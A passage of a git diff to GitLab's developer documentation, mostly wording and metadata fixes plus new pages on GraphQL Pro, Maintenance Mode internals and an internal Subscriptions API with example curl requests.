application code, while still keeping the same consistent configuration mechanism (i.e. the `GITLAB_TRACING` environment variable). @@ -489,9 +488,9 @@ The following are some style guidelines that are specific to the Secure Team. ### Code style and format Use `goimports -local gitlab.com/gitlab-org` before committing. -[goimports](https://godoc.org/golang.org/x/tools/cmd/goimports) +[`goimports`](https://godoc.org/golang.org/x/tools/cmd/goimports) is a tool that automatically formats Go source code using -[Gofmt](https://golang.org/cmd/gofmt/), in addition to formatting import lines, +[`Gofmt`](https://golang.org/cmd/gofmt/), in addition to formatting import lines, adding missing ones and removing unreferenced ones. By using the `-local gitlab.com/gitlab-org` option, `goimports` groups locally referenced packages separately from external ones. See diff --git a/doc/development/graphql_guide/batchloader.md b/doc/development/graphql_guide/batchloader.md index e965e678aba..1869c6e6f80 100644 --- a/doc/development/graphql_guide/batchloader.md +++ b/doc/development/graphql_guide/batchloader.md @@ -20,7 +20,7 @@ When implementing a new endpoint we should aim to minimise the number of SQL que Batch loading is useful when a series of queries for inputs `Qα, Qβ, ... Qω` can be combined to a single query for `Q[α, β, ... ω]`. An example of this is lookups by ID, where we can find two users by usernames as cheaply as one, but real-world examples can be more complex. -Batchloading is not suitable when the result sets have different sort-orders, grouping, aggregation or other non-composable features. +Batch loading is not suitable when the result sets have different sort-orders, grouping, aggregation or other non-composable features. There are two ways to use the batch-loader in your code. For simple ID lookups, use `::Gitlab::Graphql::Loaders::BatchModelLoader.new(model, id).find`. For more complex cases, you can use the batch API directly. diff --git a/doc/development/graphql_guide/graphql_pro.md b/doc/development/graphql_guide/graphql_pro.md new file mode 100644 index 00000000000..6f62d86af40 --- /dev/null +++ b/doc/development/graphql_guide/graphql_pro.md @@ -0,0 +1,21 @@ +--- +stage: Plan +group: Project Management +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# GraphQL Pro + +GraphQL has become a key technology in GitLab and is implemented using the +[GraphQL Ruby gem](https://graphql-ruby.org). As such, we've purchased a subscription to +[GraphQL Pro](https://graphql.pro). + +The main purpose is for support. Per the website: + +> As a GraphQL::Pro customer, you get direct access to the GraphQL Ruby gem +> creator and maintainer. Get prioritized support for issues and requests. + +Note that we **cannot** use the Pro version directly in our product, since we are +an Open Core product - we can not require customers to purchase the Pro version, nor can we ship it. + +Details on the billing account and gem licensing can be found in the Engineering 1Password vault. diff --git a/doc/development/graphql_guide/index.md b/doc/development/graphql_guide/index.md index 658bba96f33..fd6d8992f94 100644 --- a/doc/development/graphql_guide/index.md +++ b/doc/development/graphql_guide/index.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Plan +group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -17,3 +17,6 @@ feedback, and suggestions. - [GraphQL API documentation style guide](../documentation/graphql_styleguide.md): documentation style guide for GraphQL. - [GraphQL API](../../api/graphql/index.md): user documentation for the GitLab GraphQL API. +- [GraphQL BatchLoader](batchloader.md): development documentation on the batchloader. +- [GraphQL pagination](pagination.md): development documentation on pagination. +- [GraphQL Pro](graphql_pro.md): information on our GraphQL Pro subscription. diff --git a/doc/development/graphql_guide/pagination.md b/doc/development/graphql_guide/pagination.md index 130ed5721f3..55ff7942418 100644 --- a/doc/development/graphql_guide/pagination.md +++ b/doc/development/graphql_guide/pagination.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Plan +group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/development/i18n/merging_translations.md b/doc/development/i18n/merging_translations.md index 582c1428bdd..e7d25942143 100644 --- a/doc/development/i18n/merging_translations.md +++ b/doc/development/i18n/merging_translations.md @@ -66,12 +66,14 @@ have been fixed on master. NOTE: These instructions work only for GitLab Team Members. -If for some reason the GitLab integration in CrowdIn does not exist, it can be -recreated by the following steps: - -1. Sign in to GitLab as `gitlab-crowdin-bot` (If you're a GitLab Team Member, find credentials in the GitLab shared [1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams) -1. Sign in to Crowdin with the GitLab integration -1. Navigate to Settings > Integrations > GitLab > Set Up Integration -1. Select `gitlab-org/gitlab` repository -1. On `Select Branches for Translation`, select `master` -1. Ensure the `Service Branch Name` is `master-i18n` +If for some reason the GitLab integration in CrowdIn doesn't exist, you can +recreate it with the following steps: + +1. Sign in to GitLab as `gitlab-crowdin-bot`. (If you're a GitLab Team Member, + find credentials in the GitLab shared + [1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams).) +1. Sign in to CrowdIn with the GitLab integration. +1. Go to **Settings > Integrations > GitLab > Set Up Integration**. +1. Select the `gitlab-org/gitlab` repository. +1. In `Select Branches for Translation`, select `master`. +1. Ensure the `Service Branch Name` is `master-i18n`. diff --git a/doc/development/i18n_guide.md b/doc/development/i18n_guide.md deleted file mode 100644 index ddc91f9308e..00000000000 --- a/doc/development/i18n_guide.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'i18n/index.md' ---- - -This document was moved to [another location](i18n/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/import_project.md b/doc/development/import_project.md index dfe6153ad45..a4917cc0c3d 100644 --- a/doc/development/import_project.md +++ b/doc/development/import_project.md @@ -170,7 +170,7 @@ The last option is to import a project using a Rails console: Gitlab::ImportExport::RepoRestorer.new(path_to_bundle: repo_path, shared: shared, - project: project).restore + importable: project).restore ``` We are storing all import failures in the `import_failures` data table. diff --git a/doc/development/instrumentation.md b/doc/development/instrumentation.md index 94b56e10d9e..338ad76d414 100644 --- a/doc/development/instrumentation.md +++ b/doc/development/instrumentation.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Instrumenting Ruby code +# Instrumenting Ruby code **(FREE)** [GitLab Performance Monitoring](../administration/monitoring/performance/index.md) allows instrumenting of both methods and custom blocks of Ruby code. Method instrumentation is the primary form of diff --git a/doc/development/integrations/codesandbox.md b/doc/development/integrations/codesandbox.md index faa1ec0ee3f..62acdda6d0d 100644 --- a/doc/development/integrations/codesandbox.md +++ b/doc/development/integrations/codesandbox.md @@ -1,14 +1,20 @@ -# Set up local Codesandbox development environment +--- +stage: none +group: Development +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- -This guide walks through setting up a local [Codesandbox repository](https://github.com/codesandbox/codesandbox-client) and integrating it with a local GitLab instance. Codesandbox -is used to power the Web IDE's [Live Preview feature](../../user/project/web_ide/index.md#live-preview). Having a local Codesandbox setup is useful for debugging upstream issues or +# Set up local CodeSandbox development environment + +This guide walks through setting up a local [CodeSandbox repository](https://github.com/codesandbox/codesandbox-client) and integrating it with a local GitLab instance. CodeSandbox +is used to power the Web IDE's [Live Preview feature](../../user/project/web_ide/index.md#live-preview). Having a local CodeSandbox setup is useful for debugging upstream issues or creating upstream contributions like [this one](https://github.com/codesandbox/codesandbox-client/pull/5137). ## Initial setup -Before using Codesandbox with your local GitLab instance, you must: +Before using CodeSandbox with your local GitLab instance, you must: -1. Enable HTTPS on your GDK. Codesandbox uses Service Workers that require `https`. +1. Enable HTTPS on your GDK. CodeSandbox uses Service Workers that require `https`. Follow the GDK [NGINX configuration instructions](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/nginx.md) to enable HTTPS for GDK. 1. Clone the [`codesandbox-client` project](https://github.com/codesandbox/codesandbox-client) locally. If you plan on contributing upstream, you might want to fork and clone first. @@ -32,16 +38,16 @@ Before using Codesandbox with your local GitLab instance, you must: You can run `yarn build:clean` to clean up the build assets. -## Use local GitLab instance with local Codesandbox +## Use local GitLab instance with local CodeSandbox -GitLab integrates with two parts of Codesandbox: +GitLab integrates with two parts of CodeSandbox: -- An NPM package called `smooshpack` (called `sandpack` in the `codesandbox-client` project). +- An npm package called `smooshpack` (called `sandpack` in the `codesandbox-client` project). This exposes an entrypoint for us to kick off Codesandbox's bundler. -- A server that houses Codesandbox assets for bundling and previewing. This is hosted +- A server that houses CodeSandbox assets for bundling and previewing. This is hosted on a separate server for security. -Each time you want to run GitLab and Codesandbox together, you need to perform the +Each time you want to run GitLab and CodeSandbox together, you need to perform the steps in the following sections. ### Use local `smooshpack` for GitLab @@ -88,7 +94,7 @@ mkdir node_modules ln -s $PATH_TO_LOCAL_GITLAB/node_modules/core-js ./node_modules/core-js ``` -### Start building codesandbox app assets +### Start building CodeSandbox app assets In the `codesandbox-client` project directory: @@ -98,7 +104,7 @@ cd packages/app yarn start:sandpack-sandbox ``` -### Create HTTPS proxy for Codesandbox `sandpack` assets +### Create HTTPS proxy for CodeSandbox `sandpack` assets Because we need `https`, we need to create a proxy to the webpack server. We can use [`http-server`](https://www.npmjs.com/package/http-server), which can do this proxying @@ -111,7 +117,7 @@ npx http-server --proxy http://localhost:3000 -S -C $PATH_TO_CERT_PEM -K $PATH_T ### Update `bundler_url` setting in GitLab We need to update our `application_setting_implementation.rb` to point to the server that hosts the -Codesandbox `sandpack` assets. For instance, if these assets are hosted by a server at `https://sandpack.local:8044`: +CodeSandbox `sandpack` assets. For instance, if these assets are hosted by a server at `https://sandpack.local:8044`: ```patch diff --git a/app/models/application_setting_implementation.rb b/app/models/application_setting_implementation.rb @@ -133,7 +139,7 @@ index 6eed627b502..1824669e881 100644 NOTE: You can apply this patch by copying it to your clipboard and running `pbpaste | git apply`. -You'll might want to restart the GitLab Rails server after making this change: +You may want to restart the GitLab Rails server after making this change: ```shell gdk restart rails-web diff --git a/doc/development/integrations/jenkins.md b/doc/development/integrations/jenkins.md index a9a1026f1a8..16aba023fab 100644 --- a/doc/development/integrations/jenkins.md +++ b/doc/development/integrations/jenkins.md @@ -21,7 +21,7 @@ brew services start jenkins GitLab does not allow requests to localhost or the local network by default. When running Jenkins on your local machine, you need to enable local access. -1. Log into your GitLab instance as an admin. +1. Log into your GitLab instance as an administrator. 1. Go to **Admin Area > Settings > Network**. 1. Expand **Outbound requests** and check the following checkboxes: @@ -32,7 +32,7 @@ GitLab does not allow requests to localhost or the local network by default. Whe Jenkins uses the GitLab API and needs an access token. -1. Log in to your GitLab instance. +1. Sign in to your GitLab instance. 1. Click on your profile picture, then click **Settings**. 1. Click **Access Tokens**. 1. Create a new Access Token with the **API** scope enabled. Note the value of the token. diff --git a/doc/development/integrations/jira_connect.md b/doc/development/integrations/jira_connect.md index 48beb526774..bfe523ee390 100644 --- a/doc/development/integrations/jira_connect.md +++ b/doc/development/integrations/jira_connect.md @@ -19,10 +19,12 @@ The following are required to install and test the app: - [GDK with Gitpod](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/gitpod.md) documentation. - You **must not** use tunneling tools such as Serveo or `ngrok`. These are + You **must not** use tunneling tools such as + <!-- vale gitlab.Spelling = NO --> Serveo <!-- vale gitlab.Spelling = YES --> + or `ngrok`. These are security risks, and must not be run on developer laptops. - Jira requires all connections to the app host to be over SSL, so if you set up + Jira requires all connections to the app host to be over SSL. If you set up your own environment, remember to enable SSL and an appropriate certificate. ## Install the app in Jira diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md index fb9d894d203..1d5aced5869 100644 --- a/doc/development/integrations/secure.md +++ b/doc/development/integrations/secure.md @@ -260,6 +260,8 @@ When executing command lines, scanners should use the `debug` level to log the c For instance, the [bundler-audit](https://gitlab.com/gitlab-org/security-products/analyzers/bundler-audit) scanner uses the `debug` level to log the command line `bundle audit check --quiet`, and what `bundle audit` writes to the standard output. +If the command line fails, then it should be logged with the `error` log level; +this makes it possible to debug the problem without having to change the log level to `debug` and rerun the scanning job. #### common logutil package diff --git a/doc/development/integrations/secure_partner_integration.md b/doc/development/integrations/secure_partner_integration.md index 80f632639ca..364e18ad015 100644 --- a/doc/development/integrations/secure_partner_integration.md +++ b/doc/development/integrations/secure_partner_integration.md @@ -19,7 +19,7 @@ integration as well as linking to more detailed resources for how to do so. ## Integration Tiers -The security offerings in GitLab are designed for GitLab Gold and GitLab Ultimate users, and the +The security offerings in GitLab are designed for GitLab Ultimate users, and the [DevSecOps](https://about.gitlab.com/handbook/use-cases/#4-devsecops-shift-left-security) use case. All the features are in those tiers. This includes the APIs and standard reporting framework needed to provide a consistent experience for users to easily bring their preferred @@ -75,7 +75,7 @@ and complete an integration with the Secure stage. 1. [Create an issue](https://gitlab.com/gitlab-com/alliances/alliances/-/issues/new?issuable_template=new_partner) using our new partner issue template to begin the discussion. 1. Get a test account to begin developing your integration. You can - request a [GitLab.com Gold Subscription Sandbox](https://about.gitlab.com/partners/integrate/#gitlabcom-gold-subscription-sandbox-request) + request a [GitLab.com Subscription Sandbox](https://about.gitlab.com/partners/integrate/#gitlabcom-subscription-sandbox-request) or an [EE Developer License](https://about.gitlab.com/partners/integrate/#requesting-ee-dev-license-for-rd). 1. Provide a [pipeline job](../../development/pipelines.md) template that users could integrate into their own GitLab pipelines. @@ -114,7 +114,7 @@ and complete an integration with the Secure stage. doing an [Unfiltered blog post](https://about.gitlab.com/handbook/marketing/blog/unfiltered/), doing a co-branded webinar, or producing a co-branded white paper. -We have a [video playlist](https://www.youtube.com/playlist?list=PL05JrBw4t0KpMqYxJiOLz-uBIr5w-yP4A) +We have a <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [video playlist](https://www.youtube.com/playlist?list=PL05JrBw4t0KpMqYxJiOLz-uBIr5w-yP4A) that may be helpful as part of this process. This covers various topics related to integrating your tool. diff --git a/doc/development/interacting_components.md b/doc/development/interacting_components.md index 50751dcc539..4c2d0580428 100644 --- a/doc/development/interacting_components.md +++ b/doc/development/interacting_components.md @@ -29,5 +29,5 @@ See also [File Storage in GitLab](file_storage.md). ### Forks GitLab supports a great amount of features for [merge requests](../user/project/merge_requests/index.md). One -of them is the ability to create merge requests from and to [forks](../gitlab-basics/fork-project.md), +of them is the ability to create merge requests from and to [forks](../user/project/working_with_projects.md#fork-a-project), which should also be highly considered and tested upon development phase. diff --git a/doc/development/internal_api.md b/doc/development/internal_api.md index 43655c37048..dce0877b1b7 100644 --- a/doc/development/internal_api.md +++ b/doc/development/internal_api.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Internal API +# Internal API **(FREE)** The internal API is used by different GitLab components, it can not be used by other consumers. This documentation is intended for people @@ -26,7 +26,7 @@ file, and include the token Base64 encoded in a `secret_token` parameter or in the `Gitlab-Shared-Secret` header. NOTE: -The internal API used by GitLab Pages, and GitLab Kubernetes Agent Server (kas) uses JSON Web Token (JWT) +The internal API used by GitLab Pages, and GitLab Kubernetes Agent Server (`kas`) uses JSON Web Token (JWT) authentication, which is different from GitLab Shell. ## Git Authentication @@ -51,7 +51,7 @@ POST /internal/allowed | `key_id` | string | no | ID of the SSH-key used to connect to GitLab Shell | | `username` | string | no | Username from the certificate used to connect to GitLab Shell | | `project` | string | no (if `gl_repository` is passed) | Path to the project | -| `gl_repository` | string | no (if `project` is passed) | Repository identifier (e.g. `project-7`) | +| `gl_repository` | string | no (if `project` is passed) | Repository identifier, such as `project-7` | | `protocol` | string | yes | SSH when called from GitLab Shell, HTTP or SSH when called from Gitaly | | `action` | string | yes | Git command being run (`git-upload-pack`, `git-receive-pack`, `git-upload-archive`) | | `changes` | string | yes | `<oldrev> <newrev> <refname>` when called from Gitaly, the magic string `_any` when called from GitLab Shell | @@ -378,7 +378,7 @@ Example response: > - This feature is not deployed on GitLab.com > - It's not recommended for production use. -The following endpoints are used by the GitLab Kubernetes Agent Server (kas) +The following endpoints are used by the GitLab Kubernetes Agent Server (`kas`) for various purposes. These endpoints are all authenticated using JWT. The JWT secret is stored in a file @@ -390,9 +390,9 @@ The Kubernetes agent is under development and is not recommended for production ### Kubernetes agent information -Called from GitLab Kubernetes Agent Server (kas) to retrieve agent +Called from GitLab Kubernetes Agent Server (`kas`) to retrieve agent information for the given agent token. This returns the Gitaly connection -information for the agent's project in order for kas to fetch and update +information for the agent's project in order for `kas` to fetch and update the agent's configuration. ```plaintext @@ -407,13 +407,13 @@ curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Auth ### Kubernetes agent project information -Called from GitLab Kubernetes Agent Server (kas) to retrieve project +Called from GitLab Kubernetes Agent Server (`kas`) to retrieve project information for the given agent token. This returns the Gitaly -connection for the requested project. GitLab kas uses this to configure +connection for the requested project. GitLab `kas` uses this to configure the agent to fetch Kubernetes resources from the project repository to sync. -Only public projects are currently supported. For private projects, the ability for the +Only public projects are supported. For private projects, the ability for the agent to be authorized is [not yet implemented](https://gitlab.com/gitlab-org/gitlab/-/issues/220912). | Attribute | Type | Required | Description | @@ -432,7 +432,7 @@ curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Auth ### Kubernetes agent usage metrics -Called from GitLab Kubernetes Agent Server (kas) to increase the usage +Called from GitLab Kubernetes Agent Server (`kas`) to increase the usage metric counters. | Attribute | Type | Required | Description | @@ -456,7 +456,7 @@ Cluster. | Attribute | Type | Required | Description | |:----------|:-------|:---------|:------------| -| `alert` | Hash | yes | Alerts detail. Currently same format as [3rd party alert](../operations/incident_management/alert_integrations.md#customize-the-alert-payload-outside-of-gitlab). | +| `alert` | Hash | yes | Alerts detail. Same format as [3rd party alert](../operations/incident_management/integrations.md#customize-the-alert-payload-outside-of-gitlab). | ```plaintext POST internal/kubernetes/modules/cilium_alert @@ -467,3 +467,153 @@ Example Request: ```shell curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Authorization: Bearer <agent token>" --header "Content-Type: application/json" --data '"{\"alert\":{\"title\":\"minimal\",\"message\":\"network problem\",\"evalMatches\":[{\"value\":1,\"metric\":\"Count\",\"tags\":{}}]}}"' "http://localhost:3000/api/v4/internal/kubernetes/modules/cilium_alert" ``` + +## Subscriptions + +The subscriptions endpoint is used by `[customers.gitlab.com](https://gitlab.com/gitlab-org/customers-gitlab-com)` (CustomersDot) +in order to apply subscriptions including trials, and add-on purchases, for personal namespaces or top-level groups within GitLab.com. + +### Creating a subscription + +Use a POST to create a subscription. + +```plaintext +POST /namespaces/:id/gitlab_subscription +``` + +| Attribute | Type | Required | Description | +|:------------|:--------|:---------|:------------| +| `start_date` | date | yes | Start date of subscription | +| `end_date` | date | no | End date of subscription | +| `plan_code` | string | no | Subscription tier code | +| `seats` | integer | no | Number of seats in subscription | +| `max_seats_used` | integer | no | Highest number of active users in the last month | +| `auto_renew` | boolean | no | Whether subscription will auto renew on end date | +| `trial` | boolean | no | Whether subscription is a trial | +| `trial_starts_on` | date | no | Start date of trial | +| `trial_ends_on` | date | no | End date of trial | + +Example request: + +```shell +curl --request POST --header "TOKEN: <admin_access_token>" "https://gitlab.com/api/v4/namespaces/1234/gitlab_subscription?start_date="2020-07-15"&plan="silver"&seats=10" +``` + +Example response: + +```json +{ + "plan": { + "code":"silver", + "name":"Silver", + "trial":false, + "auto_renew":null, + "upgradable":false + }, + "usage": { + "seats_in_subscription":10, + "seats_in_use":1, + "max_seats_used":0, + "seats_owed":0 + }, + "billing": { + "subscription_start_date":"2020-07-15", + "subscription_end_date":null, + "trial_ends_on":null + } +} +``` + +### Updating a subscription + +Use a PUT command to update an existing subscription. + +```plaintext +PUT /namespaces/:id/gitlab_subscription +``` + +| Attribute | Type | Required | Description | +|:------------|:--------|:---------|:------------| +| `start_date` | date | no | Start date of subscription | +| `end_date` | date | no | End date of subscription | +| `plan_code` | string | no | Subscription tier code | +| `seats` | integer | no | Number of seats in subscription | +| `max_seats_used` | integer | no | Highest number of active users in the last month | +| `auto_renew` | boolean | no | Whether subscription will auto renew on end date | +| `trial` | boolean | no | Whether subscription is a trial | +| `trial_starts_on` | date | no | Start date of trial. Required if trial is true. | +| `trial_ends_on` | date | no | End date of trial | + +Example request: + +```shell +curl --request PUT --header "TOKEN: <admin_access_token>" "https://gitlab.com/api/v4/namespaces/1234/gitlab_subscription?max_seats_used=0" +``` + +Example response: + +```json +{ + "plan": { + "code":"silver", + "name":"Silver", + "trial":false, + "auto_renew":null, + "upgradable":false + }, + "usage": { + "seats_in_subscription":80, + "seats_in_use":82, + "max_seats_used":0, + "seats_owed":2 + }, + "billing": { + "subscription_start_date":"2020-07-15", + "subscription_end_date":"2021-07-15", + "trial_ends_on":null + } +} +``` + +### Retrieving a subscription + +Use a GET command to view an existing subscription. + +```plaintext +GET /namespaces/:id/gitlab_subscription +``` + +Example request: + +```shell +curl --header "TOKEN: <admin_access_token>" "https://gitlab.com/api/v4/namespaces/1234/gitlab_subscription" +``` + +Example response: + +```json +{ + "plan": { + "code":"silver", + "name":"Silver", + "trial":false, + "auto_renew":null, + "upgradable":false + }, + "usage": { + "seats_in_subscription":80, + "seats_in_use":82, + "max_seats_used":82, + "seats_owed":2 + }, + "billing": { + "subscription_start_date":"2020-07-15", + "subscription_end_date":"2021-07-15", + "trial_ends_on":null + } +} +``` + +### Known consumers + +- CustomersDot diff --git a/doc/development/iterating_tables_in_batches.md b/doc/development/iterating_tables_in_batches.md index 43d7f32ad7f..bae55bccf7c 100644 --- a/doc/development/iterating_tables_in_batches.md +++ b/doc/development/iterating_tables_in_batches.md @@ -46,7 +46,7 @@ all of the arguments that `in_batches` supports. You should always use One should proceed with extra caution, and possibly avoid iterating over a column that can contain duplicate values. When you iterate over an attribute that is not unique, even with the applied max batch size, there is no guarantee that the resulting batches will not surpass it. -The following snippet demonstrates this situation, whe one attempt to select `Ci::Build` entries for users with `id` between `1` and `10,s000`, database returns `1 215 178` +The following snippet demonstrates this situation, when one attempt to select `Ci::Build` entries for users with `id` between `1` and `10,s000`, database returns `1 215 178` matching rows ```ruby diff --git a/doc/development/kubernetes.md b/doc/development/kubernetes.md index a56a0bd48be..5be2080eb64 100644 --- a/doc/development/kubernetes.md +++ b/doc/development/kubernetes.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Kubernetes integration - development guidelines +# Kubernetes integration - development guidelines **(FREE)** This document provides various guidelines when developing for the GitLab [Kubernetes integration](../user/project/clusters/index.md). diff --git a/doc/development/lfs.md b/doc/development/lfs.md index 9df1f659654..9b78c8869b1 100644 --- a/doc/development/lfs.md +++ b/doc/development/lfs.md @@ -4,18 +4,18 @@ group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Git LFS +# Git LFS **(FREE)** ## Deep Dive In April 2019, Francisco Javier López hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) -on the GitLab [Git LFS](../topics/git/lfs/index.md) implementation to share his domain -specific knowledge with anyone who may work in this part of the codebase in the future. -You can find the [recording on YouTube](https://www.youtube.com/watch?v=Yyxwcksr0Qc), +on the GitLab [Git LFS](../topics/git/lfs/index.md) implementation to share domain-specific +knowledge with anyone who may work in this part of the codebase in the future. +You can find the <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=Yyxwcksr0Qc), and the slides on [Google Slides](https://docs.google.com/presentation/d/1E-aw6-z0rYd0346YhIWE7E9A65zISL9iIMAOq2zaw9E/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/07a89257a140db067bdfb484aecd35e1/Git_LFS_Deep_Dive__Create_.pdf). -Everything covered in this deep dive was accurate as of GitLab 11.10, and while specific -details may have changed since then, it should still serve as a good introduction. +This deep dive was accurate as of GitLab 11.10, and while specific +details may have changed, it should still serve as a good introduction. ## Including LFS blobs in project archives @@ -52,7 +52,7 @@ JSON payload prefaced with `git-archive`. This payload includes the archive already exists in the archive cache, Workhorse sends that file. Otherwise, Workhorse sends the `SendArchiveRequest` to the appropriate Gitaly server. -1. The Gitaly server will call `git archive <ref>` to begin generating +1. The Gitaly server calls `git archive <ref>` to begin generating the Git archive on-the-fly. If the `include_lfs_blobs` flag is enabled, Gitaly enables a custom LFS smudge filter via the `-c filter.lfs.smudge=/path/to/gitaly-lfs-smudge` Git option. @@ -76,7 +76,7 @@ process, which writes the contents to the standard output. 1. The archive data is sent back to the client. In step 7, the `gitaly-lfs-smudge` filter must talk to Workhorse, not to -Rails, or an invalid LFS blob will be saved. To support this, GitLab +Rails, or an invalid LFS blob is saved. To support this, GitLab 13.5 [changed the default Omnibus configuration to have Gitaly talk to the Workhorse](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/4592) instead of Rails. @@ -84,6 +84,6 @@ instead of Rails. One side effect of this change: the correlation ID of the original request is not preserved for the internal API requests made by Gitaly (or `gitaly-lfs-smudge`), such as the one made in step 8. The -correlation IDs for those API requests will be random values until [this +correlation IDs for those API requests are random values until [this Workhorse issue](https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/309) is resolved. diff --git a/doc/development/licensed_feature_availability.md b/doc/development/licensed_feature_availability.md index 3a6bdbc973f..377e31f6ab7 100644 --- a/doc/development/licensed_feature_availability.md +++ b/doc/development/licensed_feature_availability.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Fulfillment +group: License info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/development/licensing.md b/doc/development/licensing.md index d7c2c764883..c467fe81755 100644 --- a/doc/development/licensing.md +++ b/doc/development/licensing.md @@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w In order to comply with the terms the libraries we use are licensed under, we have to make sure to check new gems for compatible licenses whenever they're added. To automate this process, we use the [license_finder](https://github.com/pivotal/LicenseFinder) gem by Pivotal. It runs every time a new commit is pushed and verifies that all gems and node modules in the bundle use a license that doesn't conflict with the licensing of either GitLab Community Edition or GitLab Enterprise Edition. -There are some limitations with the automated testing, however. CSS, JavaScript, or Ruby libraries which are not included by way of Bundler, NPM, or Yarn (for instance those manually copied into our source tree in the `vendor` directory), must be verified manually and independently. Take care whenever one such library is used, as automated tests don't catch problematic licenses from them. +There are some limitations with the automated testing, however. CSS, JavaScript, or Ruby libraries which are not included by way of Bundler, npm, or Yarn (for instance those manually copied into our source tree in the `vendor` directory), must be verified manually and independently. Take care whenever one such library is used, as automated tests don't catch problematic licenses from them. Some gems may not include their license information in their `gemspec` file, and some node modules may not include their license information in their `package.json` file. These aren't detected by License Finder, and must be verified manually. diff --git a/doc/development/logging.md b/doc/development/logging.md index 07ec9d53145..30398eb87a1 100644 --- a/doc/development/logging.md +++ b/doc/development/logging.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Developers Guide to Logging +# GitLab Developers Guide to Logging **(FREE)** [GitLab Logs](../administration/logs.md) play a critical role for both administrators and GitLab team members to diagnose problems in the field. @@ -291,7 +291,7 @@ method or variable shouldn't be evaluated right away) - Change `Gitlab::ApplicationContext` to accept these new values - Make sure the new attributes are accepted at [`Labkit::Context`](https://gitlab.com/gitlab-org/labkit-ruby/blob/master/lib/labkit/context.rb) -See our [HOWTO: Use Sidekiq metadata logs](https://www.youtube.com/watch?v=_wDllvO_IY0) for further knowledge on +See our <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [HOWTO: Use Sidekiq metadata logs](https://www.youtube.com/watch?v=_wDllvO_IY0) for further knowledge on creating visualizations in Kibana. The fields of the context are currently only logged for Sidekiq jobs triggered @@ -299,6 +299,28 @@ through web requests. See the [follow-up work](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/68) for more information. +### Logging context metadata (through workers) + +Additional metadata can be attached to a worker through the use of the [`ApplicationWorker#log_extra_metadata_on_done`](https://gitlab.com/gitlab-org/gitlab/-/blob/16ecc33341a3f6b6bebdf78d863c5bce76b040d3/app/workers/concerns/application_worker.rb#L31-34) +method. Using this method adds metadata that is later logged to Kibana with the done job payload. + +```ruby +class MyExampleWorker + include ApplicationWorker + + def perform(*args) + # Worker performs work + # ... + + # The contents of value will appear in Kibana under `json.extra.my_example_worker.my_key` + log_extra_metadata_on_done(:my_key, value) + end +end +``` + +Please see [this example](https://gitlab.com/gitlab-org/gitlab/-/blob/16ecc33341a3f6b6bebdf78d863c5bce76b040d3/app/workers/ci/pipeline_artifacts/expire_artifacts_worker.rb#L20-21) +which logs a count of how many artifacts are destroyed per run of the `ExpireArtifactsWorker`. + ## Exception Handling It often happens that you catch the exception and want to track it. diff --git a/doc/development/maintenance_mode.md b/doc/development/maintenance_mode.md new file mode 100644 index 00000000000..6b5a6045bb9 --- /dev/null +++ b/doc/development/maintenance_mode.md @@ -0,0 +1,19 @@ +--- +stage: Enablement +group: Geo +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Internal workings of GitLab Maintenance Mode **(PREMIUM SELF)** + +## Where is Maintenance Mode enforced? + +GitLab Maintenance Mode **only** blocks writes from HTTP and SSH requests at the application level in a few key places within the rails application. +[Search the codebase for `maintenance_mode?`.](https://gitlab.com/search?utf8=%E2%9C%93&search=maintenance_mode%3F&group_id=9970&project_id=278964&scope=blobs&search_code=false&snippets=false&repository_ref=) + +- [the read-only database method](https://gitlab.com/gitlab-org/gitlab/blob/2425e9de50c678413ceaad6ee3bf66f42b7e228c/ee/lib/ee/gitlab/database.rb#L13), which toggles special behavior when we are not allowed to write to the database. [Search the codebase for 